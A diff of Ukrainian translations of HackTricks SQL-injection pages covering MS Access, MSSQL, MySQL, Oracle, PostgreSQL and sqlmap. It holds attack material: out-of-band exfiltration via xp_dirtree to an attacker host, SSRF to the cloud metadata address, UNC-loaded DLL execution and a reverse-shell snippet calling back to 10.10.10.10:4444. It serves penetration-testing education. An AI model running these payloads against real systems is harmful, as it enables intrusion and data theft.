В короткому викладі, запит використовує оператор "if-then" для активації "200 OK" у випадку успіху або "500 Internal Error" в іншому випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє розглянути лише 10-й кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекс MID і TOP, ми можемо вивантажити вміст поля "username" для всіх рядків. В загальному, запит використовує оператор "if-then" для активації "200 OK" у випадку успіху або "500 Internal Error" в іншому випадку. Використовуючи оператор TOP 10, можна вибрати перші десять результатів. Подальше використання LAST дозволяє розглянути лише 10-й кортеж. На такому значенні, використовуючи оператор MID, можна виконати просте порівняння символів. Правильно змінюючи індекс MID і TOP, ми можемо вивантажити вміст поля "username" для всіх рядків.
### Time Based ### Time Based
@ -109,8 +109,8 @@ Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=
- `Mid('admin',1,1)` отримати підрядок з позиції 1 довжиною 1 (початкова позиція - 1) - `Mid('admin',1,1)` отримати підрядок з позиції 1 довжиною 1 (початкова позиція - 1)
- `LEN('1234')` отримати довжину рядка - `LEN('1234')` отримати довжину рядка
- `ASC('A')` отримати ASCII-значення символу - `ASC('A')` отримати ASCII значення символу
- `CHR(65)` отримати рядок з ASCII-значення - `CHR(65)` отримати рядок з ASCII значення
- `IIF(1=1,'a','b')` якщо то - `IIF(1=1,'a','b')` якщо то
- `COUNT(*)` підрахувати кількість елементів - `COUNT(*)` підрахувати кількість елементів
@ -154,7 +154,7 @@ MS Access відповідає **повідомленням про помилк
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Де **name\[i] є іменем файлу .mdb** і **realTable є існуючою таблицею** в базі даних. Хоча MS Access завжди викликатиме повідомлення про помилку, можливо відрізнити недійсне ім'я файлу від дійсного імені файлу .mdb. Де **name\[i] є іменем файлу .mdb** і **realTable є існуючою таблицею** в базі даних. Хоча MS Access завжди викликає повідомлення про помилку, можливо відрізнити недійсне ім'я файлу від дійсного імені файлу .mdb.
### Крадій паролів .mdb ### Крадій паролів .mdb

View File

@ -9,7 +9,7 @@
- **`SELECT DEFAULT_DOMAIN()`**: Отримати назву поточного домену. - **`SELECT DEFAULT_DOMAIN()`**: Отримати назву поточного домену.
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Якщо ви знаєте назву домену (_DOMAIN_ в цьому прикладі), ця функція поверне **SID користувача Administrator** у шістнадцятковому форматі. Це виглядатиме як `0x01050000000[...]0000f401`, зверніть увагу, як **останні 4 байти** є числом **500** у **форматі big endian**, що є **загальним ID користувача адміністратора**.\ - **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Якщо ви знаєте назву домену (_DOMAIN_ в цьому прикладі), ця функція поверне **SID користувача Administrator** у шістнадцятковому форматі. Це виглядатиме як `0x01050000000[...]0000f401`, зверніть увагу, як **останні 4 байти** є числом **500** у **форматі big endian**, що є **загальним ID користувача адміністратора**.\
Ця функція дозволить вам **дізнатися ID домену** (всі байти, крім останніх 4). Ця функція дозволить вам **дізнатися ID домену** (всі байти, крім останніх 4).
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Ця функція поверне **ім'я користувача вказаного ID** (якщо є), в даному випадку **0000e803** у big endian == **1000** (зазвичай це ID першого звичайного користувача). Тоді ви можете уявити, що можете перебрати ID користувачів від 1000 до 2000 і, ймовірно, отримати всі імена користувачів домену. Наприклад, використовуючи функцію, подібну до наступної: - **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Ця функція поверне **ім'я користувача вказаного ID** (якщо є), в даному випадку **0000e803** у big endian == **1000** (зазвичай це ID першого звичайного користувача). Тоді ви можете уявити, що можете перебрати ID користувачів з 1000 до 2000 і, ймовірно, отримати всі імена користувачів домену. Наприклад, використовуючи функцію, подібну до наступної:
```python ```python
def get_sid(n): def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236' domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@ -19,7 +19,7 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
``` ```
## **Альтернативні вектори на основі помилок** ## **Альтернативні вектори на основі помилок**
SQL-ін'єкції на основі помилок зазвичай нагадують конструкції, такі як `+AND+1=@@version--` та варіанти, засновані на операторі «OR». Запити, що містять такі вирази, зазвичай блокуються WAF. Як обхідний шлях, об'єднайте рядок, використовуючи символ %2b, з результатом конкретних викликів функцій, які викликають помилку перетворення типу даних на бажаних даних. Помилки на основі SQL-ін'єкцій зазвичай нагадують конструкції, такі як `+AND+1=@@version--` та варіанти, засновані на операторі «OR». Запити, що містять такі вирази, зазвичай блокуються WAF. Як обхідний шлях, об'єднайте рядок, використовуючи символ %2b, з результатом конкретних викликів функцій, які викликають помилку перетворення типу даних на бажаних даних.
Деякі приклади таких функцій: Деякі приклади таких функцій:
@ -107,11 +107,11 @@ EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a> ### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Створення CLR UDF (User Defined Function для загального середовища виконання), що є кодом, написаним будь-якою мовою .NET і скомпільованим у DLL, для завантаження в MSSQL для виконання користувацьких функцій, є процесом, що вимагає доступу `dbo`. Це означає, що зазвичай це можливо лише тоді, коли з'єднання з базою даних здійснюється як `sa` або з роллю адміністратора. Створення CLR UDF (User Defined Function для загальної мови виконання), що є кодом, написаним будь-якою мовою .NET і скомпільованим у DLL, для завантаження в MSSQL для виконання користувацьких функцій, є процесом, що вимагає доступу `dbo`. Це означає, що зазвичай це можливо лише тоді, коли з'єднання з базою даних здійснюється як `sa` або з роллю адміністратора.
Проект Visual Studio та інструкції з установки надані в [цьому репозиторії Github](https://github.com/infiniteloopltd/SQLHttp), щоб полегшити завантаження бінарного файлу в MSSQL як CLR збірку, що дозволяє виконувати HTTP GET запити зсередини MSSQL. Проект Visual Studio та інструкції з установки надані в [цьому репозиторії Github](https://github.com/infiniteloopltd/SQLHttp), щоб полегшити завантаження бінарного файлу в MSSQL як CLR збірку, що дозволяє виконувати HTTP GET запити зсередини MSSQL.
Основна функціональність цього процесу закладена у файлі `http.cs`, який використовує клас `WebClient` для виконання GET запиту та отримання вмісту, як показано нижче: Суть цієї функціональності закладена у файлі `http.cs`, який використовує клас `WebClient` для виконання GET запиту та отримання вмісту, як показано нижче:
```csharp ```csharp
using System.Data.SqlTypes; using System.Data.SqlTypes;
using System.Net; using System.Net;
@ -203,7 +203,7 @@ https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";": According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql ```sql
SELECT 'a' SELECT 'b' ВИБРАТИ 'a' ВИБРАТИ 'b'
``` ```
So for example, multiple queries such as: So for example, multiple queries such as:

View File

@ -1,4 +1,4 @@
# MySQL injection # MySQL ін'єкція
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
@ -131,7 +131,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
``` ```
Припустимо, що є 2 стовпці (перший - це ID, а інший - прапор), ви можете спробувати брутфорсити вміст прапора, намагаючись символ за символом: Припустимо, що є 2 стовпці (перший - це ID, а інший - це флаг), ви можете спробувати брутфорсити вміст флагу, намагаючись символ за символом:
```bash ```bash
# When True, you found the correct char and can start ruteforcing the next position # When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1); select (select 1, 'flaf') = (SELECT * from demo limit 1);

View File

@ -6,19 +6,19 @@
### Серверна підробка запитів (SSRF) через SQL функції ### Серверна підробка запитів (SSRF) через SQL функції
У дослідженні SQL витоку даних поза каналами, функція `LOAD_FILE()` зазвичай використовується для ініціювання мережевих запитів. Однак ця функція обмежена операційною системою, на якій вона працює, та конфігураціями запуску бази даних. У дослідженні SQL витоку даних поза каналом, функція `LOAD_FILE()` зазвичай використовується для ініціювання мережевих запитів. Однак ця функція обмежена операційною системою, на якій вона працює, та конфігураціями запуску бази даних.
Глобальна змінна `secure_file_priv`, якщо не встановлена, за замовчуванням дорівнює `/var/lib/mysql-files/`, обмежуючи доступ до файлів лише в цій директорії, якщо не встановлено на порожній рядок (`""`). Це налаштування вимагає змін у конфігураційному файлі бази даних або параметрах запуску. Глобальна змінна `secure_file_priv`, якщо не встановлена, за замовчуванням дорівнює `/var/lib/mysql-files/`, обмежуючи доступ до файлів лише цією директорією, якщо не встановлено на порожній рядок (`""`). Це налаштування вимагає змін у конфігураційному файлі бази даних або параметрах запуску.
Якщо `secure_file_priv` вимкнено (`""`), і за умови, що надані необхідні права на файл та `file_priv`, файли поза призначеною директорією можуть бути прочитані. Проте можливість цих функцій здійснювати мережеві виклики сильно залежить від операційної системи. На системах Windows мережеві виклики до UNC шляхів можливі завдяки розумінню операційною системою конвенцій іменування UNC, що може призвести до витоку хешів NTLMv2. Якщо `secure_file_priv` вимкнено (`""`), і за умови, що надані необхідні права на файл та `file_priv`, файли поза призначеною директорією можуть бути прочитані. Проте можливість цих функцій здійснювати мережеві виклики сильно залежить від операційної системи. На системах Windows мережеві виклики до UNC шляхів можливі завдяки розумінню операційною системою конвенцій іменування UNC, що може призвести до витоку хешів NTLMv2.
Цей метод SSRF обмежений TCP портом 445 і не дозволяє змінювати номер порту, хоча його можна використовувати для доступу до загальних ресурсів з повними правами на читання і, як показано в попередніх дослідженнях, для крадіжки хешів для подальшої експлуатації. Цей метод SSRF обмежений TCP портом 445 і не дозволяє змінювати номер порту, хоча його можна використовувати для доступу до загальних ресурсів з повними правами на читання і, як показано в попередніх дослідженнях, для крадіжки хешів для подальшої експлуатації.
### Віддалене виконання коду (RCE) через користувацькі визначені функції (UDF) ### Віддалене виконання коду (RCE) через визначені користувачем функції (UDF)
Бази даних MySQL пропонують використання користувацьких визначених функцій (UDF) з зовнішніх бібліотек. Якщо ці бібліотеки доступні в певних директоріях або в системному `$PATH`, їх можна викликати зсередини MySQL. Бази даних MySQL пропонують використання визначених користувачем функцій (UDF) з зовнішніх бібліотек. Якщо ці бібліотеки доступні в певних директоріях або в системному `$PATH`, їх можна викликати зсередини MySQL.
Ця техніка дозволяє виконувати мережеві/HTTP запити через UDF, за умови виконання кількох умов, включаючи права на запис до `@@plugin_dir`, `file_priv` встановлений на `Y`, і `secure_file_priv` вимкнений. Ця техніка дозволяє виконувати мережеві/HTTP запити через UDF, за умови виконання кількох умов, включаючи доступ на запис до `@@plugin_dir`, `file_priv` встановлений на `Y` та вимкнений `secure_file_priv`.
Наприклад, бібліотека `lib_mysqludf_sys` або інші UDF бібліотеки, що дозволяють HTTP запити, можуть бути завантажені для виконання SSRF. Бібліотеки повинні бути передані на сервер, що можна досягти через кодування в hex або base64 вмісту бібліотеки, а потім записати його в відповідну директорію. Наприклад, бібліотека `lib_mysqludf_sys` або інші UDF бібліотеки, що дозволяють HTTP запити, можуть бути завантажені для виконання SSRF. Бібліотеки повинні бути передані на сервер, що можна досягти через кодування в hex або base64 вмісту бібліотеки, а потім записати його в відповідну директорію.

View File

@ -62,7 +62,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
**UTL_SMTP** **UTL_SMTP**
Пакет `UTL_SMTP` призначений для відправки електронних листів через SMTP. Приклад, наведений на [сайті документації Oracle, показує, як ви можете використовувати цей пакет для відправки електронного листа](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Однак для нас цікавою є можливість вказати хост і специфікацію порту. Пакет `UTL_SMTP` призначений для надсилання електронних листів через SMTP. Приклад, наведений на [сайті документації Oracle, показує, як ви можете використовувати цей пакет для надсилання електронного листа](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Однак для нас цікавою є можливість вказати хост і специфікацію порту.
Нижче наведено грубий приклад з функцією `UTL_SMTP.OPEN_CONNECTION`, з тайм-аутом 2 секунди. Нижче наведено грубий приклад з функцією `UTL_SMTP.OPEN_CONNECTION`, з тайм-аутом 2 секунди.
``` ```
@ -82,7 +82,7 @@ END;
**UTL_TCP** **UTL_TCP**
Пакет `UTL_TCP` та його процедури і функції дозволяють [TCP/IP на основі зв'язку з сервісами](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Якщо він запрограмований для конкретного сервісу, цей пакет може легко стати шляхом у мережу або виконати повні запити на стороні сервера, оскільки всі аспекти TCP/IP з'єднання можуть бути контрольовані. Пакет `UTL_TCP` та його процедури і функції дозволяють [TCP/IP на основі зв'язку з сервісами](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Якщо він запрограмований для конкретного сервісу, цей пакет може легко стати шляхом у мережу або виконувати повні запити з боку сервера, оскільки всі аспекти TCP/IP з'єднання можуть бути контрольовані.
Приклад [на сайті документації Oracle показує, як ви можете використовувати цей пакет для створення сирого TCP з'єднання для отримання веб-сторінки](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Ми можемо трохи спростити це і використовувати його для виконання запитів до екземпляра метаданих, наприклад, або до довільного TCP/IP сервісу. Приклад [на сайті документації Oracle показує, як ви можете використовувати цей пакет для створення сирого TCP з'єднання для отримання веб-сторінки](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Ми можемо трохи спростити це і використовувати його для виконання запитів до екземпляра метаданих, наприклад, або до довільного TCP/IP сервісу.
``` ```
@ -140,6 +140,6 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
``` ```
`ORA-12541: TNS:no listener` або `TNS:operation timed out` є ознакою того, що TCP порт закритий, тоді як `ORA-29263: HTTP protocol error` або дані є ознакою того, що порт відкритий. `ORA-12541: TNS:no listener` або `TNS:operation timed out` є ознакою того, що TCP порт закритий, тоді як `ORA-29263: HTTP protocol error` або дані є ознакою того, що порт відкритий.
Інший пакет, який я використовував у минулому з різним успіхом, це [`GETCLOB()` метод `HTTPURITYPE` абстрактного типу Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705), який дозволяє взаємодіяти з URL і надає підтримку для HTTP протоколу. Метод `GETCLOB()` використовується для отримання GET відповіді з URL як [CLOB типу даних.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual; Інший пакет, який я використовував у минулому з різним успіхом, це [`GETCLOB()` метод абстрактного типу `HTTPURITYPE` Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705), який дозволяє взаємодіяти з URL і надає підтримку для HTTP протоколу. Метод `GETCLOB()` використовується для отримання GET відповіді з URL як [CLOB типу даних.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -11,9 +11,9 @@
**Модуль PostgreSQL `dblink`** пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю `COPY FROM`, дозволяють виконувати дії, такі як підвищення привілеїв, сканування портів та захоплення відповіді на виклик NTLM. Для детальних методів виконання цих атак перевірте, як [виконати ці атаки](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). **Модуль PostgreSQL `dblink`** пропонує можливості для підключення до інших екземплярів PostgreSQL та виконання TCP-з'єднань. Ці функції, в поєднанні з функціональністю `COPY FROM`, дозволяють виконувати дії, такі як підвищення привілеїв, сканування портів та захоплення відповіді на виклик NTLM. Для детальних методів виконання цих атак перевірте, як [виконати ці атаки](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
### **Приклад ексфільтрації за допомогою dblink та великих об'єктів** ### **Приклад ексфільтрації з використанням dblink та великих об'єктів**
Ви можете [**прочитати цей приклад**](dblink-lo_import-data-exfiltration.md), щоб побачити приклад CTF **як завантажити дані всередині великих об'єктів, а потім ексфільтрувати вміст великих об'єктів всередині імені користувача** функції `dblink_connect`. Ви можете [**прочитати цей приклад**](dblink-lo_import-data-exfiltration.md), щоб побачити приклад CTF **того, як завантажити дані всередині великих об'єктів, а потім ексфільтрувати вміст великих об'єктів всередині імені користувача** функції `dblink_connect`.
## PostgreSQL Attacks: Читання/запис, RCE, privesc ## PostgreSQL Attacks: Читання/запис, RCE, privesc
@ -47,13 +47,13 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
``` ```
**database_to_xml** **database_to_xml**
Ця функція вивантажить всю базу даних у форматі XML всього в 1 рядку (будьте обережні, якщо база даних дуже велика, оскільки ви можете викликати DoS або навіть для свого власного клієнта): Ця функція вивантажить всю базу даних у форматі XML всього в 1 рядку (будьте обережні, якщо база даних дуже велика, оскільки ви можете викликати DoS або навіть вашого власного клієнта):
```sql ```sql
SELECT database_to_xml(true,true,''); SELECT database_to_xml(true,true,'');
``` ```
### Strings in Hex ### Строки в Hex
Якщо ви можете виконувати **запити**, передаючи їх **всередині рядка** (наприклад, використовуючи функцію **`query_to_xml`**). **Ви можете використовувати convert_from, щоб передати рядок у вигляді шістнадцяткового коду і обійти фільтри таким чином:** Якщо ви можете виконувати **запити**, передаючи їх **всередині рядка** (наприклад, використовуючи функцію **`query_to_xml`**). **Ви можете використовувати convert_from, щоб передати рядок у вигляді hex і обійти фільтри таким чином:**
```sql ```sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8'); select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
@ -65,7 +65,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
``` ```
### Заборонені лапки ### Заборонені лапки
Якщо ви не можете використовувати лапки для вашого payload, ви можете обійти це за допомогою `CHR` для базових клауз (_конкатенація символів працює лише для базових запитів, таких як SELECT, INSERT, DELETE тощо. Це не працює для всіх SQL-інструкцій_): Якщо ви не можете використовувати лапки для вашого payload, ви можете обійти це за допомогою `CHR` для базових клауз (_конкатенація символів працює лише для базових запитів, таких як SELECT, INSERT, DELETE тощо. Це не працює для всіх SQL операторів_):
``` ```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
``` ```

View File

@ -1,4 +1,4 @@
# Мережа - Привілейоване підвищення, сканер портів та розкриття відповіді NTLM # Мережа - Привілеї, Портовий сканер та розкриття відповіді NTLM
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
@ -12,7 +12,7 @@ CREATE EXTENSION dblink;
### Підвищення привілеїв ### Підвищення привілеїв
Файл `pg_hba.conf` може бути неправильно налаштований **дозволяючи з'єднання** з **localhost як будь-який користувач** без необхідності знати пароль. Цей файл зазвичай можна знайти за адресою `/etc/postgresql/12/main/pg_hba.conf`, а неправильна конфігурація виглядає так: Файл `pg_hba.conf` може бути неправильно налаштований **дозволяючи з'єднання** з **localhost як будь-який користувач** без необхідності знати пароль. Цей файл зазвичай можна знайти за адресою `/etc/postgresql/12/main/pg_hba.conf`, а погана конфігурація виглядає так:
``` ```
local all all trust local all all trust
``` ```
@ -26,7 +26,7 @@ _Зверніть увагу, що ця конфігурація зазвича
host all all 127.0.0.1/32 trust host all all 127.0.0.1/32 trust
``` ```
Оскільки це дозволить всім з localhost підключатися до бази даних як будь-який користувач.\ Оскільки це дозволить всім з localhost підключатися до бази даних як будь-який користувач.\
У цьому випадку, якщо функція **`dblink`** **працює**, ви можете **підвищити привілеї**, підключившись до бази даних через вже встановлене з'єднання та отримати доступ до даних, до яких не повинні мати доступ: У цьому випадку, і якщо функція **`dblink`** **працює**, ви могли б **підвищити привілеї**, підключившись до бази даних через вже встановлене з'єднання та отримати доступ до даних, до яких не повинні мати доступ:
```sql ```sql
SELECT * FROM dblink('host=127.0.0.1 SELECT * FROM dblink('host=127.0.0.1
user=postgres user=postgres

View File

@ -12,7 +12,7 @@ PostgreSQL було розроблено з можливістю розшире
### RCE в Linux ### RCE в Linux
**Для отримання додаткової інформації дивіться: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)** **Для отримання додаткової інформації перевірте: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
Виконання системних команд з PostgreSQL 8.1 та раніших версій є процесом, який чітко задокументовано і є простим. Можна використовувати цей: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload). Виконання системних команд з PostgreSQL 8.1 та раніших версій є процесом, який чітко задокументовано і є простим. Можна використовувати цей: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql ```sql
@ -75,13 +75,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
``` ```
Ця помилка пояснюється в [документації PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html): Ця помилка пояснюється в [документації PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> Щоб забезпечити, що динамічно завантажений об'єктний файл не буде завантажений у несумісний сервер, PostgreSQL перевіряє, що файл містить "магічний блок" з відповідним вмістом. Це дозволяє серверу виявляти очевидні несумісності, такі як код, скомпільований для іншої основної версії PostgreSQL. Магічний блок є обов'язковим з PostgreSQL 8.2. Щоб включити магічний блок, напишіть це в одному (і тільки в одному) з вихідних файлів модуля, після того як ви включили заголовок fmgr.h: > Щоб забезпечити, що динамічно завантажений об'єктний файл не буде завантажено в несумісний сервер, PostgreSQL перевіряє, що файл містить "магічний блок" з відповідним вмістом. Це дозволяє серверу виявляти очевидні несумісності, такі як код, скомпільований для іншої основної версії PostgreSQL. Магічний блок є обов'язковим з PostgreSQL 8.2. Щоб включити магічний блок, напишіть це в одному (і тільки в одному) з вихідних файлів модуля, після того як ви включили заголовок fmgr.h:
> >
> `#ifdef PG_MODULE_MAGIC`\ > `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\ > `PG_MODULE_MAGIC;`\
> `#endif` > `#endif`
З версії PostgreSQL 8.2 процес для зловмисника, щоб експлуатувати систему, став більш складним. Зловмисник повинен або використовувати бібліотеку, яка вже присутня в системі, або завантажити власну бібліотеку. Ця власна бібліотека повинна бути скомпільована для сумісної основної версії PostgreSQL і повинна містити специфічний "магічний блок". Ця міра значно ускладнює експлуатацію систем PostgreSQL, оскільки вимагає глибшого розуміння архітектури системи та сумісності версій. З версії PostgreSQL 8.2 процес для зловмисника, щоб експлуатувати систему, став більш складним. Зловмисник повинен або використовувати бібліотеку, яка вже присутня в системі, або завантажити власну бібліотеку. Ця власна бібліотека повинна бути скомпільована для сумісної основної версії PostgreSQL і повинна включати специфічний "магічний блок". Цей захід значно ускладнює експлуатацію систем PostgreSQL, оскільки вимагає глибшого розуміння архітектури системи та сумісності версій.
#### Скомпілюйте бібліотеку #### Скомпілюйте бібліотеку
@ -166,13 +166,13 @@ PG_RETURN_VOID();
{% file src="../../../images/pgsql_exec.zip" %} {% file src="../../../images/pgsql_exec.zip" %}
Ви можете вказати цій DLL **який бінар виконати** і кількість разів, щоб його виконати, в цьому прикладі вона виконає `calc.exe` 2 рази: Ви можете вказати цій DLL **який бінар виконати** і кількість разів, щоб виконати його, в цьому прикладі вона виконає `calc.exe` 2 рази:
```bash ```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT; CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2); SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer); DROP FUNCTION remote_exec(text, integer);
``` ```
В [**тут** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) ви можете знайти цей реверсний шелл: В [**тут** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) ви можете знайти цей реверс-оболонку:
```c ```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10" #define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444" #define PG_REVSHELL_CALLHOME_PORT "4444"
@ -280,7 +280,7 @@ select connect_back('192.168.100.54', 1234);
_Зверніть увагу, що вам не потрібно додавати розширення `.dll`, оскільки функція створення додасть його._ _Зверніть увагу, що вам не потрібно додавати розширення `.dll`, оскільки функція створення додасть його._
Для отримання додаткової інформації **прочитайте**[ **оригінальну публікацію тут**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\ Для отримання додаткової інформації **прочитайте**[ **оригінальну публікацію тут**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
У цій публікації **був наведений** [**код, використаний для генерації розширення postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_щоб дізнатися, як скомпілювати розширення postgres, прочитайте будь-яку з попередніх версій_).\ У цій публікації **був наведений** [**код для генерації розширення postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_щоб дізнатися, як скомпілювати розширення postgres, прочитайте будь-яку з попередніх версій_).\
На тій же сторінці був наданий цей **експлойт для автоматизації** цієї техніки: На тій же сторінці був наданий цей **експлойт для автоматизації** цієї техніки:
```python ```python
#!/usr/bin/env python3 #!/usr/bin/env python3

View File

@ -22,11 +22,11 @@ SELECT lanname,lanpltrusted,lanacl FROM pg_language;
- ... (будь-яка інша мова програмування, що використовує ненадійну версію) - ... (будь-яка інша мова програмування, що використовує ненадійну версію)
> [!WARNING] > [!WARNING]
> Якщо ви виявите, що цікава мова **встановлена**, але **недостовірна** за версією PostgreSQL (**`lanpltrusted`** є **`false`**) ви можете спробувати **достовірити її** за допомогою наступного рядка, щоб жодні обмеження не застосовувалися PostgreSQL: > Якщо ви виявите, що цікава мова **встановлена**, але **недостовірна** за версією PostgreSQL (**`lanpltrusted`** є **`false`**), ви можете спробувати **достовірити її** за допомогою наступного рядка, щоб жодні обмеження не застосовувалися PostgreSQL:
> >
> ```sql > ```sql
> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu'; > UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
> # Щоб перевірити ваші права на таблицю pg_language > # Щоб перевірити ваші права доступу до таблиці pg_language
> SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language'; > SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
> ``` > ```

View File

@ -83,7 +83,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter #Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
``` ```
## Обхід вебсайту з SQLmap та автоматичне використання експлойтів ## Обхід веб-сайту за допомогою SQLmap та автоматичне використання уразливостей
```bash ```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -111,53 +111,53 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
--tamper=name_of_the_tamper --tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper
``` ```
| Tamper | Опис | | Tamper | Description |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- | | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог | | apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог | | apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload | | appendnullbyte.py | Додає закодований символ NULL байта в кінець корисного навантаження |
| base64encode.py | Кодує всі символи в заданому payload у форматі Base64 | | base64encode.py | Кодує всі символи в заданому корисному навантаженні в Base64 |
